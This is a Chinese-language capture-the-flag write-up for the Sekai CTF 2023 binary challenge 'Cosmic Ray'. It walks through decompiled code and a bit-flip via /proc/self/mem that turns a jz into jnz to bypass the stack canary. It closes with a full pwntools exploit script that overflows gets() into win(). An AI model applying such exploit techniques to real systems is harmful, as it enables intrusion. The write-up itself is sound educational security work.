0%

SEKAI CTF 2023 Writeup

Sekai CTF 2023 Writeup

周末都在 AIS3 Club,賽中只解出 Cosmic Ray,有看了一下 network tools 和 testsender,打算再給自己一段時間思考解法

Cosmic Ray

用 IDA 打開後發現有 buffer overflow,但有開 canary,所以要想辦法 leak 或讓它壞掉
有給一個 win(),會直接輸出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
int result; // eax
__int64 addr; // [rsp-40h] [rbp-40h]
__int64 v6; // [rsp-38h] [rbp-38h]
unsigned __int64 v7; // [rsp-10h] [rbp-10h]
__int64 v8; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v8 = v3;
v7 = __readfsqword(0x28u);
setbuf_0(_bss_start, 0LL, envp);
puts_0("Welcome to my revolutionary new cosmic ray machine!");
puts_0("Give me any address in memory and I'll send a cosmic ray through it:");
scanf("0x%lx", &addr);
getchar_0("0x%lx", &addr);
cosmic_ray((__int64)&v8, addr);
puts_0("Please write a review of your experience today:");
gets_0(&v6);
result = 0;
__readfsqword(0x28u);
return result;
}

跟進去 cosmic_ray(),發現它會把我們給的 address 裡的資料取出來,可以選擇翻轉其中 1 bit 再把資料寫回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 __usercall cosmic_ray@<rax>(__int64 a1@<rbp>, __int64 addr@<rdi>)
{
__int64 v2; // rsi
int idx; // [rsp-34h] [rbp-34h]
signed int i; // [rsp-30h] [rbp-30h]
unsigned int v6; // [rsp-2Ch] [rbp-2Ch]
_BYTE *bin_arr; // [rsp-28h] [rbp-28h]
__int64 v8; // [rsp-20h] [rbp-20h]
__int16 v9; // [rsp-12h] [rbp-12h]
unsigned __int64 v10; // [rsp-10h] [rbp-10h]
__int64 v11; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v11 = a1;
v10 = __readfsqword(0x28u);
v6 = open_0("/proc/self/mem", 2LL);
lseek_0(v6, addr, 0LL);
read_0(v6, &v9, 1LL);
bin_arr = get_bin(v9);
puts_0("\n|0|1|2|3|4|5|6|7|");
printf_0();
for ( i = 0; i <= 7; ++i )
{
v2 = (unsigned int)(char)bin_arr[i];
printf_0();
}
puts_0("\n\nEnter a bit position to flip (0-7):");
scanf("%d", &idx);
getchar_0("%d", &idx);
if ( idx < 0 || idx > 7 )
exit_0(1LL);
v8 = flip_bit((__int64)bin_arr, idx);
HIBYTE(v9) = binary_to_byte((__int64)&v11, v8);
printf_0();
lseek_0(v6, addr, 0LL);
write_0();
return v10 - __readfsqword(0x28u);
}

看了 flit_bit() 與 binary_to_byte() 都沒發現漏洞,後面也沒有發現可以做 leak 的地方
由於它是 Partial RELRO 的關係,有想到透過 GOT Hijacking 來把 puts() gets() __stack_check_fail() 其中一個的 GOT 寫成 win(),但用 gdb 看一下發現地址差得有點多,無法只透過翻 1 bit 來改成 win()

回去看 cosmic_ray() 發現它是透過讀寫 /proc/self/mem 來完成操作的,之前打 Google CTF 2023 時有遇到一題 write-flag-where 也是類似的作法,由於讀寫 /proc/self/mem 可以無視 pages 的權限,所以可以更改 .text 段的內容。

這邊可以將 jz(opcode = 0x74) 寫成 jnz(opcode = 0x75),使程式不呼叫 __stack_check_fail() 來通過檢查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = remote('chals.sekai.team', 4077)
#p = process('./cosmicray')
elf = ELF('./cosmicray')

win = elf.symbols['win']

#0x74 -> 0x75
#jz -> jnz
p.recvuntil(b':\n')
p.sendline(hex(0x4016f4))
p.recvuntil(b':\n')
p.sendline(b'7')
p.recvuntil(b':')
p.sendline(b'a' * 0x38 + p64(win))

p.interactive()